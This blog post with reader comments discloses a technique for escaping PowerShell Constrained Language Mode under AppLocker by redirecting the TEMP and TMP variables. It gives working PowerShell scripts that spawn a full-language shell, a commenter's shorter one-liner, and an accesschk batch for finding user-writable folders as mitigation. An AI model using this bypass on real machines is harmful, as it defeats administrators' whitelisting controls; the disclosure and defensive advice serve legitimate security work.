%Temp%orary Constrained Language mode in AppLocker

TL;DR

  • Done as a normal user without admin privs
  • Change %TEMP%/%TMP% to point to a location that allows execution of scripts defined by AppLocker
  • Start Powershell with the new environment variables that you set for %TEMP%/%TMP% and profit!

Background

This blogpost covers a technique I discovered when digging further into AppLocker to bypass Powershell Constrained Language Mode. The issue has been reported to Microsoft, but they don’t want to service this and does not consider this to meet the bar for servicing. The discovery was made while I was looking at the event log while starting Powershell. I noticed that it always triggers two alerts saying that it cannot execute:

It triggers an alert for a randomly generated .PSM1 file as well as a .PS1 file. The files are randomly built and the structure is like this:

__PSSCRIPTPOLICYTEST_<8 random chars>.<3 random chars>.PS1
__PSSCRIPTPOLICYTEST_<8 random chars>.<3 random chars>.PSM1

When you look at the alert you will notice that it tried to execute these files in the %temp% folder of the user and of course this is not allowed by AppLocker rules unless you specifically defined it.
I also captured the files to look at the content. I used a simple loop script to capture this using Powershell.

while($true)
{
Copy-Item -Path $("$env:temp\*.ps*") -Destination C:\temp
}

This is what the contents looks like (they both contained the same):

After thinking a while on how to bypass this check I came up with an idea that I would pre-create every possible .PS1 and .PSM1 file and use hardlink to a place that allowed execution. After figuring out how many files that would actually mean to create I gave up that idea pretty fast. I then thought that maybe Powershell reads the variables to the temporary directory from the users environment variables, and it turned out that is was exactly what it did.

 

The bypass

Knowing that I can change the %TEMP% and %TMP% variables in the registry under HKCU\Environment, I decided to try that first. Changing it is easy by just opening regedit and change the values. In my test I used the default AppLocker rules and these allows execution of scripts from C:\Windows\*, so I decided that I would change the %TEMP% and %TMP% to point to c:\windows\temp since I know that the user has write access to that folder. Remember that if a user has write access to a path that allows scripts to execute he can plant his PS1 script in that folder and execute it in Full Language Mode.

After I changed the registry values I started a new Powershell window. To my big surprise it did not catch up the new environment variables.

After a little Googling I found that you can use “Start-Process” with the parameter -UseNewEnvironment.  This worked for most processes, but Powershell was not able to launch this way. It pops a window really quick and closes. Okay, back to the drawing board….

After some experimenting I remembered that you can use WMIC to spawn processes and you can use WMI commands from Powershell. I decided to try that for a spin and that worked.
The script I ended up using was this:

$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:\windows\temp"
$TMPBypassPath = "C:\windows\temp"

Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value "$TMPBypassPath"

Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "powershell"
sleep 5

#Set it back
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value $CurrTemp

 

The command that helped me was the <Invoke-WmiMethod -Class win32_process -Name create -ArgumentList “powershell”> command. When this script is launched from a constrained language mode it will launch a new Powershell window that has full language mode. This is shown in the GIF here:

 

I found that this was really cool and decided to write a function for it to my PowerAL project. (PowerAppLocker)
While I was writing the code for it I discovered a even better way of doing this that did not require changing the user environment variables, thanks to Matt Graeber and his awesome blogpost here:

https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc

In the post he shows how you can start a process from Win32_Process and supply your own defined environment variables. And that was exactly what I needed.

My raw code for the function here (The code is wrapped in function that does some more stuff in the PowerAL module. The module can be found here: https://github.com/api0cradle/PowerAL ):

#Path to Powershell
$CMDLine = "$PSHOME\powershell.exe"

#Getting existing env vars
[String[]] $EnvVarsExceptTemp = Get-ChildItem Env:\* -Exclude "TEMP","TMP"| % { "$($_.Name)=$($_.Value)" }

#Custom TEMP and TMP
$TEMPBypassPath = "Temp=C:\windows\temp"
$TMPBypassPath = "TMP=C:\windows\temp"

#Add the to the list of vars
$EnvVarsExceptTemp += $TEMPBypassPath
$EnvVarsExceptTemp += $TMPBypassPath

#Define the start params
$StartParamProperties = @{ EnvironmentVariables = $EnvVarsExceptTemp }
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties

#Start a new powershell using the new params
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $CMDLine
ProcessStartupInformation = $StartParams
}

 

Prevention

How do you prevent someone from exploiting this?
You have to define the scripts rules in such a way that it does not allow execution of scripts from a location where the user has write access. Meaning that if you allow c:\windows\* you need to exclude the folders where the user can write to. For instance C:\windows\temp or C:\windows\tracing. To get the complete list of folders the user can write to I recommend running Accesschk. I have a pre-made batch script that should help you discover writeable folders here:


accesschk -w -s -u Users "C:\Program Files" >> programfiles.txt
accesschk -w -s -u Everyone "C:\Program Files" >> programfiles.txt
accesschk -w -s -u "Authenticated Users" "C:\Program Files" >> programfiles.txt
accesschk -w -s -u Interactive "C:\Program Files" >> programfiles.txt
accesschk -w -s -u "This Organization" "C:\Program Files" >> programfiles.txt
accesschk -w -s -u "Authentication authority asserted identity" "C:\Program Files" >> programfiles.txt
accesschk -w -s -u "Mandatory Label\Medium Mandatory Level" "C:\Program Files" >> programfiles.txt
accesschk -w -s -u %username% "C:\Program Files" >> programfiles.txt
accesschk -w -s -u Users "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -u Everyone "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -u "Authenticated Users" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -u Interactive "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -u "This Organization" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -u "Authentication authority asserted identity" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -u "Mandatory Label\Medium Mandatory Level" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -u %username% "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -u Users "C:\Windows" >> windows.txt
accesschk -w -s -u Everyone "C:\Windows" >> windows.txt
accesschk -w -s -u "Authenticated Users" "C:\Windows" >> windows.txt
accesschk -w -s -u Interactive "C:\Windows" >> windows.txt
accesschk -w -s -u "This Organization" "C:\Windows" >> windows.txt
accesschk -w -s -u "Authentication authority asserted identity" "C:\Windows" >> windows.txt
accesschk -w -s -u "Mandatory Label\Medium Mandatory Level" "C:\Windows" >> windows.txt
accesschk -w -s -u %username% "C:\Windows" >> windows.txt

view raw

AccessChk.bat

hosted with ❤ by GitHub

That’s it. Hope you enjoyed this blogpost and feedback is always welcome.

3 thoughts on “%Temp%orary Constrained Language mode in AppLocker

  1. 1. If you have an AppLocker Path rule that grants a non-admin the ability to run anything in a user-writable directory, you don’t have whitelisting. “AaronLocker” creates exclusions for all the user-writable subdirectories of the Windows and Program Files directories, and it is much more comprehensive in its definition of “user-writable” than your samples are. (BTW, “AaronLocker” also blocks non-admins from running wmic.exe, mshta.exe, and a few other built-in tools.)
    2. If you need an easy way to get PowerShell to put its random-named policy-test script in a different location, just do this from a CMD.EXE:
    SET TMP=C:\TEMP
    PowerShell.exe

    Like

  2. This article has much inspired and helped! Thank you very much for sharing.
    Btw, Malwarebytes blocks this page saying a Trojan is contained which is hopefully not the case.

    Like

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.